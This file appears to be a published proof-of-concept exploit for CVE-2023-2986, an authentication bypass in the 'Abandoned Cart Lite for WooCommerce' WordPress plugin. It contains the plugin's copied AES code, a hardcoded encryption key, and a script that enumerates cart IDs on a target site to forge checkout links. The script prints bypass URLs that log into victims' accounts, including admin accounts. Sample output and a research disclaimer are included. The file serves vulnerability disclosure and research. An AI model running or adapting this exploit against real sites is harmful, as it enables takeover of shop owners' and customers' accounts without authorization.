<?php
/*
# CVE-2023-2986
Proof of Concept for vulnerability CVE-2023-2986 in 'Abandoned Cart Lite for WooCommerce' Plugin in WordPress
## Related Details
- NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2986
- Plugin Source : https://github.com/TycheSoftwares/woocommerce-abandoned-cart/
- Vulnerable versions : `version <= 5.14.2`
- Patched version : `5.15.0`
- Github POC Link :`https://github.com/Ayantaker/CVE-2023-2986`
## Vulnerability Analysis
- A blog link will be added.
## Usage
```bash
sudo apt-get install php-curl
php poc.php http://target_host target_port max_cart_id_to_enumerate
```
```
[*] Enumerating cart ID : 1
[+] Authentication Bypass URL for user 'victim' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=pwDHtAFjg2StEr4S2bP9YXkwVdKLqnsLjpkFGythB5ztEF8twVbXFdEP6u7kYwrc
[*] Enumerating cart ID : 2
[*] Enumerating cart ID : 3
[+] Authentication Bypass URL for user 'victim2' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=aQH9pwVjg2TWqKcFmNoipUeBKbYNb5UaEYMYP8DlCz3DqykRdzP3lQgEqID6QsoD
[*] Enumerating cart ID : 4
[+] Authentication Bypass URL for user 'user' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=XQOexwdjg2TzUjbZJgcYAeUE1p7YdPytSYL3Vkkjb+gISKD02Cpk+3Dx6SUnbe5d
[*] Enumerating cart ID : 5
```
> Entering the URL in browser will give you access to the respective users account. If the wordpress admin user himself has an entry, this will give access to the admin console leading to full compromise of the wordpress server.
## Disclaimer
This Proof of Concept (POC) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for any misuse of the POC. Use responsibly.
*/
// Uses the encryption functions sourced from the vulnerable plugin
// https://github.com/TycheSoftwares/woocommerce-abandoned-cart/tree/v5.14.2/includes/classes
/* Copied from https://github.com/TycheSoftwares/woocommerce-abandoned-cart/blob/v5.14.2/includes/classes/class-wcal-aes.php */
/*
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/*
AES implementation in PHP */
/*
(c) Chris Veness 2005-2014 www.movable-type.co.uk/scripts */
/*
Right of free use is granted for all commercial or non-commercial use under CC-BY licence. */
/*
No warranty of any form is offered. */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/**
* Abandoned Cart Lite for WooCommerce
*
* It will handle the common action for the plugin.
*
* @author Tyche Softwares
* @package Abandoned-Cart-Lite-for-WooCommerce/Encrypt-Decrypt-Data
*/
/**
* It will genrate the encryption and decryption for data.
*
* @since 2.8
*/
class Wcal_Aes {
/**
* AES Cipher function [�5.1]: encrypt 'input' with Rijndael algorithm
*
* @param input message as byte-array (16 bytes)
* @param w key schedule as 2D byte-array (Nr+1 x Nb bytes) -
* generated from the cipher key by keyExpansion()
* @return ciphertext as byte-array (16 bytes)
* @since 2.8
*/
public static function cipher( $input, $w ) {
$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
$Nr = count( $w ) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys
$state = array(); // initialise 4xNb byte-array 'state' with input [�3.4]
for ( $i = 0; $i < 4 * $Nb;
$i++ ) {
$state[ $i % 4 ][ floor( $i / 4 ) ] = $input[ $i ];
}
$state = self::addRoundKey( $state, $w, 0, $Nb );
for ( $round = 1; $round < $Nr; $round++ ) { // apply Nr rounds
$state = self::subBytes( $state, $Nb );
$state = self::shiftRows( $state, $Nb );
$state = self::mixColumns( $state, $Nb );
$state = self::addRoundKey( $state, $w, $round, $Nb );
}
$state = self::subBytes( $state, $Nb );
$state = self::shiftRows( $state, $Nb );
$state = self::addRoundKey( $state, $w, $Nr, $Nb );
$output = array( 4 * $Nb ); // convert state to 1-d array before returning [�3.4]
for ( $i = 0; $i < 4 * $Nb;
$i++ ) {
$output[ $i ] = $state[ $i % 4 ][ floor( $i / 4 ) ];
}
return $output;
}
/**
* Xor Round Key into state S [�5.1.4].
*
* @since 2.8
*/
private static function addRoundKey( $state, $w, $rnd, $Nb ) {
for ( $r = 0; $r < 4; $r++ ) {
for ( $c = 0; $c < $Nb;
$c++ ) {
$state[ $r ][ $c ] ^= $w[ $rnd * 4 + $c ][ $r ];
}
}
return $state;
}
/**
* Apply SBox to state S [�5.1.1].
*
* @since 2.8
*/
private static function subBytes( $s, $Nb ) {
for ( $r = 0; $r < 4; $r++ ) {
for ( $c = 0; $c < $Nb;
$c++ ) {
$s[ $r ][ $c ] = self::$sBox[ $s[ $r ][ $c ] ];
}
}
return $s;
}
/**
* Shift row r of state S left by r bytes [�5.1.2].
*
* @since 2.8
*/
private static function shiftRows( $s, $Nb ) {
$t = array( 4 );
for ( $r = 1; $r < 4; $r++ ) {
for ( $c = 0; $c < 4;
$c++ ) {
$t[ $c ] = $s[ $r ][ ( $c + $r ) % $Nb ]; // shift into temp copy
}
for ( $c = 0; $c < 4;
$c++ ) {
$s[ $r ][ $c ] = $t[ $c ]; // and copy back
}
} // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
}
/**
* Combine bytes of each col of state S [�5.1.3].
*
* @since 2.8
*/
private static function mixColumns( $s, $Nb ) {
for ( $c = 0; $c < 4; $c++ ) {
$a = array( 4 ); // 'a' is a copy of the current column from 's'
$b = array( 4 ); // 'b' is a�{02} in GF(2^8)
for ( $i = 0; $i < 4; $i++ ) {
$a[ $i ] = $s[ $i ][ $c ];
$b[ $i ] = $s[ $i ][ $c ] & 0x80 ? $s[ $i ][ $c ] << 1 ^ 0x011b : $s[ $i ][ $c ] << 1;
}
// a[n] ^ b[n] is a�{03} in GF(2^8)
$s[0][ $c ] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
$s[1][ $c ] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
$s[2][ $c ] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
$s[3][ $c ] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
}
return $s;
}
/**
* Generate Key Schedule from Cipher Key [�5.2].
*
* Perform key expansion on cipher key to generate a key schedule.
*
* @param key cipher key byte-array (16 bytes).
* @return key schedule as 2D byte-array (Nr+1 x Nb bytes).
* @since 2.8
*/
public static function keyExpansion( $key ) {
$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
$Nk = count( $key ) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys
$Nr = $Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys
$w = array();
$temp = array();
for ( $i = 0; $i < $Nk; $i++ ) {
$r = array( $key[ 4 * $i ], $key[ 4 * $i + 1 ], $key[ 4 * $i + 2 ], $key[ 4 * $i + 3 ] );
$w[ $i ] = $r;
}
for ( $i = $Nk; $i < ( $Nb * ( $Nr + 1 ) ); $i++ ) {
$w[ $i ] = array();
for ( $t = 0; $t < 4;
$t++ ) {
$temp[ $t ] = $w[ $i - 1 ][ $t ];
}
if ( $i % $Nk == 0 ) {
$temp = self::subWord( self::rotWord( $temp ) );
for ( $t = 0; $t < 4;
$t++ ) {
$temp[ $t ] ^= self::$rCon[ $i / $Nk ][ $t ];
}
} elseif ( $Nk > 6 && $i % $Nk == 4 ) {
$temp = self::subWord( $temp );
}
for ( $t = 0; $t < 4;
$t++ ) {
$w[ $i ][ $t ] = $w[ $i - $Nk ][ $t ] ^ $temp[ $t ];
}
}
return $w;
}
/**
* Apply SBox to 4-byte word w.
*
* @since 2.8
*/
private static function subWord( $w ) {
for ( $i = 0; $i < 4;
$i++ ) {
$w[ $i ] = self::$sBox[ $w[ $i ] ];
}
return $w;
}
/**
* Rotate 4-byte word w left by one byte.
*
* @since 2.8
*/
private static function rotWord( $w ) {
$tmp = $w[0];
for ( $i = 0; $i < 3;
$i++ ) {
$w[ $i ] = $w[ $i + 1 ];
}
$w[3] = $tmp;
return $w;
}
// sBox is pre-computed multiplicative inverse in GF(2^8) used in subBytes and keyExpansion [�5.1.1]
private static $sBox = array(
0x63,
0x7c,
0x77,
0x7b,
0xf2,
0x6b,
0x6f,
0xc5,
0x30,
0x01,
0x67,
0x2b,
0xfe,
0xd7,
0xab,
0x76,
0xca,
0x82,
0xc9,
0x7d,
0xfa,
0x59,
0x47,
0xf0,
0xad,
0xd4,
0xa2,
0xaf,
0x9c,
0xa4,
0x72,
0xc0,
0xb7,
0xfd,
0x93,
0x26,
0x36,
0x3f,
0xf7,
0xcc,
0x34,
0xa5,
0xe5,
0xf1,
0x71,
0xd8,
0x31,
0x15,
0x04,
0xc7,
0x23,
0xc3,
0x18,
0x96,
0x05,
0x9a,
0x07,
0x12,
0x80,
0xe2,
0xeb,
0x27,
0xb2,
0x75,
0x09,
0x83,
0x2c,
0x1a,
0x1b,
0x6e,
0x5a,
0xa0,
0x52,
0x3b,
0xd6,
0xb3,
0x29,
0xe3,
0x2f,
0x84,
0x53,
0xd1,
0x00,
0xed,
0x20,
0xfc,
0xb1,
0x5b,
0x6a,
0xcb,
0xbe,
0x39,
0x4a,
0x4c,
0x58,
0xcf,
0xd0,
0xef,
0xaa,
0xfb,
0x43,
0x4d,
0x33,
0x85,
0x45,
0xf9,
0x02,
0x7f,
0x50,
0x3c,
0x9f,
0xa8,
0x51,
0xa3,
0x40,
0x8f,
0x92,
0x9d,
0x38,
0xf5,
0xbc,
0xb6,
0xda,
0x21,
0x10,
0xff,
0xf3,
0xd2,
0xcd,
0x0c,
0x13,
0xec,
0x5f,
0x97,
0x44,
0x17,
0xc4,
0xa7,
0x7e,
0x3d,
0x64,
0x5d,
0x19,
0x73,
0x60,
0x81,
0x4f,
0xdc,
0x22,
0x2a,
0x90,
0x88,
0x46,
0xee,
0xb8,
0x14,
0xde,
0x5e,
0x0b,
0xdb,
0xe0,
0x32,
0x3a,
0x0a,
0x49,
0x06,
0x24,
0x5c,
0xc2,
0xd3,
0xac,
0x62,
0x91,
0x95,
0xe4,
0x79,
0xe7,
0xc8,
0x37,
0x6d,
0x8d,
0xd5,
0x4e,
0xa9,
0x6c,
0x56,
0xf4,
0xea,
0x65,
0x7a,
0xae,
0x08,
0xba,
0x78,
0x25,
0x2e,
0x1c,
0xa6,
0xb4,
0xc6,
0xe8,
0xdd,
0x74,
0x1f,
0x4b,
0xbd,
0x8b,
0x8a,
0x70,
0x3e,
0xb5,
0x66,
0x48,
0x03,
0xf6,
0x0e,
0x61,
0x35,
0x57,
0xb9,
0x86,
0xc1,
0x1d,
0x9e,
0xe1,
0xf8,
0x98,
0x11,
0x69,
0xd9,
0x8e,
0x94,
0x9b,
0x1e,
0x87,
0xe9,
0xce,
0x55,
0x28,
0xdf,
0x8c,
0xa1,
0x89,
0x0d,
0xbf,
0xe6,
0x42,
0x68,
0x41,
0x99,
0x2d,
0x0f,
0xb0,
0x54,
0xbb,
0x16,
);
// rCon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
private static $rCon = array(
array( 0x00, 0x00, 0x00, 0x00 ),
array( 0x01, 0x00, 0x00, 0x00 ),
array( 0x02, 0x00, 0x00, 0x00 ),
array( 0x04, 0x00, 0x00, 0x00 ),
array( 0x08, 0x00, 0x00, 0x00 ),
array( 0x10, 0x00, 0x00, 0x00 ),
array( 0x20, 0x00, 0x00, 0x00 ),
array( 0x40, 0x00, 0x00, 0x00 ),
array( 0x80, 0x00, 0x00, 0x00 ),
array( 0x1b, 0x00, 0x00, 0x00 ),
array( 0x36, 0x00, 0x00, 0x00 ),
);
}
function urs( $a, $b ) {
$a = intval( $a ) & 0xffffffff;
$b &= 0x1f; // (bounds check)
if ( $a & 0x80000000 && $b > 0 ) { // if left-most bit set.
$a = ( $a >> 1 ) & 0x7fffffff; // right-shift one bit & clear left-most bit.
$check = $b - 1;
$a = $a >> ( $check ); // remaining right-shifts.
} else { // otherwise.
$a = ( $a >> $b ); // use normal right-shift.
}
return $a;
}
function encrypt( $plaintext, $password, $nBits ) {
$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
if ( ! ( $nBits == 128 || $nBits == 192 || $nBits == 256 ) ) {
return ''; // standard allows 128/192/256 bit keys
}
// note PHP (5) gives us plaintext and password in UTF8 encoding!
// use AES itself to encrypt password to get cipher key (using plain password as source for
// key expansion) - gives us well encrypted key
$nBytes = $nBits / 8; // no bytes in key
$pwBytes = array();
for ( $i = 0; $i < $nBytes;
$i++ ) {
$pwBytes[ $i ] = ord( substr( $password, $i, 1 ) ) & 0xff;
}
$key = Wcal_Aes::cipher( $pwBytes, Wcal_Aes::keyExpansion( $pwBytes ) );
$key = array_merge( $key, array_slice( $key, 0, $nBytes - 16 ) ); // expand key to 16/24/32 bytes long
// initialise 1st 8 bytes of counter block with nonce (NIST SP800-38A �B.2): [0-1] = millisec,
// [2-3] = random, [4-7] = seconds, giving guaranteed sub-ms uniqueness up to Feb 2106
$counterBlock = array();
$nonce = floor( microtime( true ) * 1000 ); // timestamp: milliseconds since 1-Jan-1970
$nonceMs = $nonce % 1000;
$nonceSec = floor( $nonce / 1000 );
$nonceRnd = floor( rand( 0, 0xffff ) );
for ( $i = 0; $i < 2;
$i++ ) {
$counterBlock[ $i ] = urs( $nonceMs, $i * 8 ) & 0xff;
}
for ( $i = 0; $i < 2;
$i++ ) {
$counterBlock[ $i + 2 ] = urs( $nonceRnd, $i * 8 ) & 0xff;
}
for ( $i = 0; $i < 4;
$i++ ) {
$counterBlock[ $i + 4 ] = urs( $nonceSec, $i * 8 ) & 0xff;
}
// and convert it to a string to go on the front of the ciphertext
$ctrTxt = '';
for ( $i = 0; $i < 8;
$i++ ) {
$ctrTxt .= chr( $counterBlock[ $i ] );
}
// generate key schedule - an expansion of the key into distinct Key Rounds for each round
$keySchedule = Wcal_Aes::keyExpansion( $key );
// print_r($keySchedule);
$blockCount = ceil( strlen( $plaintext ) / $blockSize );
$ciphertxt = array(); // ciphertext as array of strings
for ( $b = 0; $b < $blockCount; $b++ ) {
// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
// done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
for ( $c = 0; $c < 4;
$c++ ) {
$counterBlock[ 15 - $c ] = urs( $b, $c * 8 ) & 0xff;
}
for ( $c = 0; $c < 4;
$c++ ) {
$counterBlock[ 15 - $c - 4 ] = urs( $b / 0x100000000, $c * 8 );
}
$cipherCntr = Wcal_Aes::cipher( $counterBlock, $keySchedule ); // -- encrypt counter block --
// block size is reduced on final block
$blockLength = $b < $blockCount - 1 ? $blockSize : ( strlen( $plaintext ) - 1 ) % $blockSize + 1;
$cipherByte = array();
for ( $i = 0; $i < $blockLength; $i++ ) { // -- xor plaintext with ciphered counter byte-by-byte --
$cipherByte[ $i ] = $cipherCntr[ $i ] ^ ord( substr( $plaintext, $b * $blockSize + $i, 1 ) );
$cipherByte[ $i ] = chr( $cipherByte[ $i ] );
}
$ciphertxt[ $b ] = implode( '', $cipherByte ); // escape troublesome characters in ciphertext
}
// implode is more efficient than repeated string concatenation
$ciphertext = $ctrTxt . implode( '', $ciphertxt );
$ciphertext = base64_encode( $ciphertext );
return $ciphertext;
}
/*******************************************************************************/
function fetch_url_content($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$output = curl_exec($ch);
if (curl_errno($ch)) {
echo '[-] Error:' . curl_error($ch)."\n";
return False;
}
// Get the status code
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Get header size
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
// Separate the headers from the output
$header = substr($output, 0, $headerSize);
$body = substr($output, $headerSize);
curl_close($ch);
// Return headers, body and status code
return [
'header' => $header,
'body' => $body,
'status_code' => $statusCode
];
}
if ($argc != 4) {
echo "[-] Usage: php poc.php http://target_host target_port max_cart_id_to_enumerate\n";
exit(1);
}
$host = $argv[1];
$port = $argv[2];
// The maximum cart ID to enumerate
$max_id = intval($argv[3]);
function exploit_link($host,$port,$id,$encryption_key){
$validate_val = $id.'&url='.$host.':'.$port.'/checkout/';
$encrypted_val = encrypt($validate_val, $encryption_key, 256);
$url = $host.':'.$port.'/?wcal_action=checkout_link&user_email=test&validate='.$encrypted_val;
$result = fetch_url_content($url);
if ($result == False){
return False;
}
if ($result['body'] == 'Link expired') {
return False;
} else {
// Looking for username
preg_match('/Set-Cookie:.*wordpress_.*=(.*?)%/', $result['header'], $matches);
$username = isset($matches[1]) ? $matches[1] : null;
if ($username){
echo "[+] Authentication Bypass URL for user '".$username."' : ".$url."\n";
return True;
}else{
return False;
}
}
}
for ($id = 1; $id <= $max_id; $id++) {
echo "[*] Enumerating cart ID : ".$id."\n";
// Hardcoded Encryption key
$encryption_key = 'qJB0rGtIn5UB1xG03efyCp';
$res = exploit_link($host,$port,$id,$encryption_key);
if (! $res){
// In the docker instance I tried, it had empty encryption key for somereason
$encryption_key = '';
$res = exploit_link($host,$port,$id,$encryption_key);
}
}
?>